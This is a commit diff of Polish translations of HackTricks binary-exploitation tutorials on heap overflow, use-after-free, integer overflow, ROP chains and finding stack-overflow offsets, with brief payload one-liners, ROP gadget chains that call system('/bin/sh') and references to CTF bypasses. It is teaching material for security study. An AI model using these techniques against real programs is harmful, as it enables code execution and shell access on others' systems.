Translated ['binary-exploitation/heap/README.md', 'binary-exploitation/h

This commit is contained in:
Translator 2024-04-10 15:35:05 +00:00
parent c5fbb61039
commit 3b07ad4026
12 changed files with 292 additions and 137 deletions

View file

@ -712,6 +712,9 @@
* [Integer Overflow](binary-exploitation/integer-overflow.md)
* [Format Strings](binary-exploitation/format-strings/README.md)
* [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
* [Heap](binary-exploitation/heap/README.md)
* [Use After Free](binary-exploitation/heap/use-after-free.md)
* [Heap Overflow](binary-exploitation/heap/heap-overflow.md)
* [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md)
* [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md)
* [Ret2plt](binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md)

View file

@ -0,0 +1 @@
# Sterta

View file

@ -0,0 +1,45 @@
# Przepełnienie sterty (Heap Overflow)
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Podstawowe informacje
Przepełnienie sterty (heap overflow) jest podobne do [**przepełnienia stosu**](../stack-overflow/), ale występuje w stercie. Oznacza to, że pewna przestrzeń została zarezerwowana w stercie do przechowywania danych, a **przechowywane dane były większe niż zarezerwowana przestrzeń**.
W przypadku przepełnień stosu wiemy, że niektóre rejestry, takie jak wskaźnik instrukcji lub ramka stosu, zostaną przywrócone ze stosu i możliwe jest ich nadużycie. W przypadku przepełnień sterty **domyślnie nie ma przechowywanych żadnych wrażliwych informacji** w kawałku sterty, który może zostać przepełniony. Jednak mogą to być wrażliwe informacje lub wskaźniki, więc **krytyczność** tej podatności **zależy** od **tego, które dane mogą zostać nadpisane** i jak atakujący mógłby to wykorzystać.
{% hint style="success" %}
Aby znaleźć przesunięcia przepełnienia, można użyć tych samych wzorców co w [**przepełnieniach stosu**](../stack-overflow/#finding-stack-overflows-offsets).
{% endhint %}
## Przykład ARM64
Na stronie [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) znajdziesz przykład przepełnienia sterty, gdzie polecenie, które ma zostać wykonane, jest przechowywane w następnym kawałku po przepełnionym kawałku. Dlatego możliwe jest zmodyfikowanie wykonywanego polecenia poprzez nadpisanie go prostym wykorzystaniem, takim jak:
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>

View file

@ -0,0 +1,26 @@
# Użycie po zwolnieniu
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
</details>
## Podstawowe informacje
Jak sugeruje nazwa, ta podatność występuje, gdy program **przechowuje pewną przestrzeń** w stercie dla obiektu, **zapisuje** tam pewne informacje, **zwalnia** ją, ponieważ nie jest już potrzebna, a następnie **ponownie uzyskuje do niej dostęp**.
Problem polega na tym, że nie jest to nielegalne (nie będzie błędów), gdy **dostęp do zwolnionej pamięci** jest uzyskiwany. Dlatego jeśli program (lub atakujący) zdoła **przydzielić zwolnioną pamięć i przechować dowolne dane**, gdy zwolniona pamięć jest uzyskiwana z początkowego wskaźnika, **te dane zostaną nadpisane**, powodując **podatność zależną od wrażliwości danych**, które były pierwotnie przechowywane (jeśli był to wskaźnik funkcji, która miała zostać wywołana, atakujący mógłby go teraz kontrolować).
## Inne odnośniki i przykłady
* [https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
* ARM64. Użycie po zwolnieniu: Wygenerowanie użytkownika, zwolnienie go, ponowne użycie tego samego fragmentu **nadpisując pozycję hasła użytkownika** z poprzedniego. Ponowne użycie użytkownika do **obejścia sprawdzenia hasła**

View file

@ -10,7 +10,7 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
</details>
@ -24,7 +24,7 @@ Co więcej, **8-bitowa liczba całkowita ze znakiem** może reprezentować warto
### Maksymalne wartości
Dla potencjalnych **podatności internetowych** bardzo istotne jest poznanie maksymalnie obsługiwanych wartości:
Dla potencjalnych **podatności internetowych** bardzo ważne jest poznanie maksymalnie obsługiwanych wartości:
{% tabs %}
{% tab title="Rust" %}
@ -42,7 +42,9 @@ println!("{}", add_result);
```
{% endtab %}
{% tab title="C" %}W przypadku przepełnienia liczb całkowitych, wartość przekraczająca maksymalną wartość, którą można przechować w danym typie danych, może spowodować błąd lub zachowanie nieoczekiwane. Przepełnienie liczb całkowitych może być wykorzystane do wykonania ataku, który umożliwia wykonanie złośliwego kodu lub przejęcie kontroli nad programem. Aby zapobiec przepełnieniom liczb całkowitych, zawsze należy sprawdzać i kontrolować zakres wartości, z którymi program operuje.{% endtab %}
{% tab title="C" %}
Integer overflows occur when the result of an arithmetic operation exceeds the maximum size that the data type can hold. This can lead to unexpected behavior and security vulnerabilities in a program. To prevent integer overflows, always check the input values and ensure that the result of an operation does not exceed the maximum size of the data type. Additionally, using data types with larger sizes can help prevent integer overflows.{% endtab %}
```c
#include <stdio.h>
#include <limits.h>
@ -76,9 +78,9 @@ printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Konwersja ze znaku na liczbę bez znaku
### Konwersja ze znakowanej na nieznakowaną
Rozważ sytuację, w której liczba ze znakiem jest odczytywana z wejścia użytkownika, a następnie używana w kontekście traktującym ją jako liczbę bez znaku, bez odpowiedniej walidacji:
Rozważ sytuację, w której liczba całkowita ze znakiem jest odczytywana z wejścia użytkownika, a następnie używana w kontekście traktującym ją jako liczbę całkowitą bez znaku, bez odpowiedniej walidacji:
```c
#include <stdio.h>
@ -100,23 +102,24 @@ printf("Processed Input is within range: %u\n", processedInput);
return 0;
}
```
W tym przykładzie, jeśli użytkownik wprowadzi liczbę ujemną, zostanie ona zinterpretowana jako duża liczba bez znaku ze względu na sposób interpretacji wartości binarnych, co potencjalnie prowadzi do nieoczekiwanego zachowania.
W tym przykładzie, jeśli użytkownik wprowadzi liczbę ujemną, zostanie ona zinterpretowana jako duża liczba całkowita bez znaku ze względu na sposób interpretacji wartości binarnych, co potencjalnie prowadzi do nieoczekiwanego zachowania.
### Inne Przykłady
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* Program sprawdza tylko ostatni bajt liczby, aby sprawdzić rozmiar wejścia, dlatego można dodać dowolny rozmiar, o ile ostatni bajt mieści się w dozwolonym zakresie. Następnie wejście powoduje przepełnienie bufora wykorzystane z ret2win.
* Do przechowywania rozmiaru hasła użyto tylko 1B, więc istnieje możliwość przepełnienia i sprawienia, że zostanie ono uznane za długość 4, podczas gdy faktycznie wynosi 260, aby ominąć ochronę sprawdzającą długość
* [https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html)
* Mając parę liczb, znajdź za pomocą z3 nową liczbę, która pomnożona przez pierwszą da drugą:&#x20;
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
* [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
* Do przechowywania rozmiaru hasła użyto tylko 1B, więc istnieje możliwość przepełnienia i sprawienia, że zostanie ono uznane za długość 4, podczas gdy faktycznie wynosi 260, aby ominąć ochronę sprawdzającą długość i nadpisać na stosie następną zmienną lokalną, omijając obie ochrony
\
## ARM64
To **nie zmienia się w ARM64**, jak można zobaczyć w [**tym poście na blogu**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
<details>
@ -124,7 +127,7 @@ W tym przykładzie, jeśli użytkownik wprowadzi liczbę ujemną, zostanie ona z
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
@ -10,7 +10,7 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
@ -21,7 +21,7 @@ Inne sposoby wsparcia HackTricks:
### Jak działa ROP
1. **Przechwycenie przepływu sterowania**: Najpierw atakujący musi przejąć kontrolę nad przepływem programu, zazwyczaj wykorzystując przepełnienie bufora do nadpisania zapisanego adresu powrotu na stosie.
2. **Łańcuchowanie gadżetów**: Atakujący następnie starannie wybiera i łączy gadżety, aby wykonać pożądane akcje. Może to obejmować ustawienie argumentów dla wywołania funkcji, wywołanie funkcji (np. `system("/bin/sh")`) i obsługę koniecznego sprzątania lub dodatkowych operacji.
2. **Łańcuchowanie gadżetów**: Atakujący następnie starannie wybiera i łączy gadżety, aby wykonać pożądane działania. Może to obejmować ustawienie argumentów dla wywołania funkcji, wywołanie funkcji (np. `system("/bin/sh")`) i obsługę koniecznego sprzątania lub dodatkowych operacji.
3. **Wykonanie ładunku**: Gdy podatna funkcja zwraca wartość, zamiast wracać do prawidłowej lokalizacji, zaczyna wykonywać łańcuch gadżetów.
### Narzędzia
@ -40,8 +40,8 @@ Zazwyczaj gadżety można znaleźć za pomocą [**ROPgadget**](https://github.co
Najpierw załóżmy, że zidentyfikowaliśmy niezbędne gadżety w binarnym pliku lub jego załadowanych bibliotekach. Interesują nas gadżety:
* `pop eax; ret`: Ten gadżet ściąga wartość ze szczytu stosu do rejestru `EAX`, a następnie zwraca, umożliwiając nam kontrolę nad `EAX`.
* `pop ebx; ret`: Podobnie jak powyższe, ale dla rejestru `EBX`, umożliwiając kontrolę nad `EBX`.
* `mov [ebx], eax; ret`: Przenosi wartość z `EAX` do lokalizacji pamięci wskazywanej przez `EBX`, a następnie zwraca. Jest to często nazywane **gadżetem write-what-where**.
* `pop ebx; ret`: Podobnie jak powyższy, ale dla rejestru `EBX`, umożliwiając kontrolę nad `EBX`.
* `mov [ebx], eax; ret`: Przenosi wartość z `EAX` do lokalizacji pamięci wskazywanej przez `EBX`, a następnie zwraca. Jest to często nazywane gadżetem **write-what-where**.
* Dodatkowo mamy dostępny adres funkcji `system()`.
### **Łańcuch ROP**
@ -90,14 +90,14 @@ p.interactive()
### **Konwencje wywoływania w architekturze x64 (64-bitowej)**
* Wykorzystuje konwencję wywoływania **System V AMD64 ABI** w systemach przypominających Unix, gdzie **pierwsze sześć argumentów całkowitoliczbowych lub wskaźników jest przekazywanych w rejestrach `RDI`, `RSI`, `RDX`, `RCX`, `R8` i `R9`**. Dodatkowe argumenty są przekazywane na stosie. Wartość zwracana jest umieszczana w rejestrze `RAX`.
* Konwencja wywoływania w systemach **Windows x64** wykorzystuje rejestry `RCX`, `RDX`, `R8` i `R9` dla pierwszych czterech argumentów całkowitoliczbowych lub wskaźników, a dodatkowe argumenty są przekazywane na stosie. Wartość zwracana jest umieszczana w rejestrze `RAX`.
* Konwencja wywoływania w systemie **Windows x64** wykorzystuje rejestry `RCX`, `RDX`, `R8` i `R9` dla pierwszych czterech argumentów całkowitoliczbowych lub wskaźników, a dodatkowe argumenty są przekazywane na stosie. Wartość zwracana jest umieszczana w rejestrze `RAX`.
* **Rejestry**: 64-bitowe rejestry obejmują `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` oraz `R8` do `R15`.
#### **Znajdowanie Gadgetów**
W naszym przypadku skupimy się na gadżetach, które umożliwią nam ustawienie rejestru **RDI** (aby przekazać ciąg **"/bin/sh"** jako argument do funkcji **system()**) i następnie wywołanie funkcji **system()**. Załóżmy, że zidentyfikowaliśmy następujące gadżety:
* **pop rdi; ret**: Usuwa wartość ze stosu do rejestru **RDI** i następnie zwraca. Istotne do ustawienia argumentu dla **system()**.
* **pop rdi; ret**: Wyciąga wartość ze stosu do rejestru **RDI** i następnie zwraca. Istotne dla ustawienia argumentu dla **system()**.
* **ret**: Proste zakończenie, przydatne do wyrównania stosu w niektórych scenariuszach.
I znamy adres funkcji **system()**.
@ -147,31 +147,43 @@ W tym przykładzie:
### Wyrównanie stosu
**ABI x86-64** zapewnia, że **stos jest wyrównany do 16 bajtów** podczas wykonywania instrukcji **call**. **LIBC**, w celu zoptymalizowania wydajności, **używa instrukcji SSE** (takich jak **movaps**), które wymagają tego wyrównania. Jeśli stos nie jest odpowiednio wyrównany (czyli **RSP** nie jest wielokrotnością 16), wywołania funkcji takich jak **system** zawiodą w łańcuchu **ROP**. Aby to naprawić, po prostu dodaj **gadżet ret** przed wywołaniem **system** w swoim łańcuchu ROP.
**ABI x86-64** zapewnia, że **stos jest wyrównany co 16 bajtów** podczas wykonywania instrukcji **call**. **LIBC**, w celu optymalizacji wydajności, **używa instrukcji SSE** (takich jak **movaps**), które wymagają tego wyrównania. Jeśli stos nie jest odpowiednio wyrównany (czyli **RSP** nie jest wielokrotnością 16), wywołania funkcji takich jak **system** zawiodą w **łańcuchu ROP**. Aby to naprawić, po prostu dodaj **gadżet ret** przed wywołaniem **system** w swoim łańcuchu ROP.
## Główne różnice między x86 a x64
## Główna różnica między x86 a x64
{% hint style="success" %}
Ponieważ **x64 używa rejestrów dla kilku pierwszych argumentów**, często wymaga mniej gadżetów niż x86 do prostych wywołań funkcji, ale znalezienie i łączenie odpowiednich gadżetów może być bardziej skomplikowane ze względu na zwiększoną liczbę rejestrów i większą przestrzeń adresową. Zwiększona liczba rejestrów i większa przestrzeń adresowa w architekturze **x64** stanowią zarówno szanse, jak i wyzwania dla rozwoju exploitów, zwłaszcza w kontekście Return-Oriented Programming (ROP).
{% endhint %}
## Łańcuch ROP w przykładzie ARM64
### **Podstawy ARM64 i konwencje wywoływania**
Sprawdź następującą stronę dla tych informacji:
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
## Zabezpieczenia przed ROP
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Te zabezpieczenia sprawiają, że korzystanie z ROP jest trudniejsze, ponieważ adresy gadżetów zmieniają się między wykonaniami.
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): W przypadku przepełnienia bufora, konieczne jest ominięcie stosowanego canary, aby nadpisać wskaźniki powrotu i wykorzystać łańcuch ROP.
* **Brak Gadżetów**: Jeśli nie ma wystarczającej liczby gadżetów, nie będzie możliwe wygenerowanie łańcucha ROP.
* [**Kanarki stosu**](../common-binary-protections-and-bypasses/stack-canaries/): W przypadku przepełnienia bufora, konieczne jest ominięcie kanarków stosu, aby nadpisać wskaźniki powrotu i wykorzystać łańcuch ROP.
* **Brak gadżetów**: Jeśli nie ma wystarczająco gadżetów, nie będzie możliwe wygenerowanie łańcucha ROP.
## Techniki oparte na ROP
Zauważ, że ROP to tylko technika służąca do wykonania arbitralnego kodu. Na podstawie ROP opracowano wiele technik Ret2XXX:
Zauważ, że ROP to tylko technika wykonania arbitralnego kodu. Na podstawie ROP opracowano wiele technik Ret2XXX:
* **Ret2lib**: Użyj ROP, aby wywołać arbitralne funkcje z załadowanej biblioteki z arbitralnymi parametrami (zwykle coś w rodzaju `system('/bin/sh')`.
* **Ret2lib**: Użyj ROP do wywołania arbitralnych funkcji z załadowanej biblioteki z arbitralnymi parametrami (zwykle coś w rodzaju `system('/bin/sh')`.
{% content-ref url="ret2lib/" %}
[ret2lib](ret2lib/)
{% endcontent-ref %}
* **Ret2Syscall**: Użyj ROP, aby przygotować wywołanie syscall, np. `execve`, i spraw, aby wykonywał arbitralne polecenia.
* **Ret2Syscall**: Użyj ROP do przygotowania wywołania syscall, np. `execve`, i wykonaj arbitralne polecenia.
{% content-ref url="rop-syscall-execv.md" %}
[rop-syscall-execv.md](rop-syscall-execv.md)
@ -183,11 +195,13 @@ Zauważ, że ROP to tylko technika służąca do wykonania arbitralnego kodu. Na
[stack-pivoting-ebp2ret-ebp-chaining.md](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
{% endcontent-ref %}
## Inne Przykłady i Odnośniki
## Inne przykłady i odnośniki
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html)
* 64 bit, Pie i nx włączone, brak canary, nadpisz RIP adresem `vsyscall` wyłącznie w celu powrotu do następnego adresu na stosie, który będzie częściowym nadpisaniem adresu, aby uzyskać część funkcji, która ujawnia flagę
* 64 bity, Pie i nx włączone, brak kanarków, nadpisz RIP adresem `vsyscall` wyłącznie w celu powrotu do następnego adresu na stosie, który będzie częściowym nadpisaniem adresu, aby uzyskać część funkcji wyciekającej flagę
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, brak ASLR, gadżet ROP do ustawienia stosu jako wykonywalnego i skoku do shellcode na stosie
<details>
@ -196,9 +210,9 @@ Zauważ, że ROP to tylko technika służąca do wykonania arbitralnego kodu. Na
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -10,19 +10,19 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## Co to jest przepełnienie stosu
**Przepełnienie stosu** to podatność, która występuje, gdy program zapisuje więcej danych na stosie, niż jest mu przydzielone do przechowywania. Nadmiarowe dane **nadpisują sąsiednie miejsce w pamięci**, prowadząc do uszkodzenia poprawnych danych, zakłócenia przepływu sterowania i potencjalnie wykonania złośliwego kodu. Ten problem często wynika z użycia funkcji niebezpiecznych, które nie wykonują sprawdzania granic danych wejściowych.
**Przepełnienie stosu** to podatność, która występuje, gdy program zapisuje więcej danych na stosie, niż jest mu przydzielone do przechowywania. Nadmiarowe dane **nadpisują sąsiednie miejsce w pamięci**, prowadząc do uszkodzenia poprawnych danych, zakłócenia przepływu sterowania i potencjalnie wykonania złośliwego kodu. Ten problem często wynika z użycia funkcji niebezpiecznych, które nie wykonują kontroli granic danych wejściowych.
Głównym problemem tego nadpisania jest to, że **zachowany wskaźnik instrukcji (EIP/RIP)** i **zachowany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie mógł nadpisać te wartości i **kontrolować przepływ wykonania programu**.
Podatność zazwyczaj pojawia się, gdy funkcja **kopiuję na stos więcej bajtów niż jest na niego zaalokowane**, co pozwala na nadpisanie innych części stosu.
Niektóre powszechne funkcje podatne na to : **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` & `memcpy`**, które przyjmują argument **długości**, mogą być używane w podatny sposób, jeśli określona długość jest większa niż zaalokowana.
Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` & `memcpy`**, które przyjmują argument **długości**, mogą być używane w sposób podatny, jeśli określona długość jest większa niż zaalokowana.
Na przykład, następujące funkcje mogą być podatne:
```c
@ -33,13 +33,13 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Znajdowanie przesunięć przepełnienia stosu
### Znajdowanie przesunięć Stack Overflows
Najczęstszym sposobem na znalezienie przepełnienia stosu jest podanie bardzo dużego wejścia z literami `A` (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie `Segmentation Fault`, co wskazuje, że próbowano uzyskać dostęp do **adresu `0x41414141`**.
Ponadto, gdy już zidentyfikujesz podatność na przepełnienie stosu, będziesz musiał znaleźć przesunięcie, aż będzie możliwe **nadpisanie adresu powrotu**, w tym celu zazwyczaj używa się **sekwencji De Bruijna**. Dla danego alfabetu o rozmiarze _k_ i podsekwencji o długości _n_, jest to **cykliczna sekwencja, w której każda możliwa podsekwencja o długości _n_** występuje dokładnie raz **jako ciągła podsekwencja**.
Ponadto, po znalezieniu podatności na przepełnienie stosu, konieczne będzie znalezienie przesunięcia, aż będzie możliwe **nadpisanie adresu powrotu**, do tego zazwyczaj używany jest **ciąg De Bruijna**. Dla danego alfabetu o rozmiarze _k_ i podciągów o długości _n_, jest to **cykliczny ciąg, w którym każdy możliwy podciąg o długości _n_**\*\* pojawia się dokładnie raz\*\* jako ciągły podciąg.
W ten sposób, zamiast ręcznie określać potrzebne przesunięcie do kontrolowania EIP, można użyć jednej z tych sekwencji jako dopełnienia, a następnie znaleźć przesunięcie bajtów, które nadpisały ten adres.
W ten sposób, zamiast ręcznego określania wymaganego przesunięcia do kontrolowania EIP, można użyć jednego z tych ciągów jako dopełnienia, a następnie znaleźć przesunięcie bajtów, które nadpisały go.
Można to zrobić za pomocą **pwntools**:
```python
@ -63,7 +63,7 @@ pattern search $rsp #Search the offset given the content of $rsp
## Wykorzystywanie przepełnień stosu
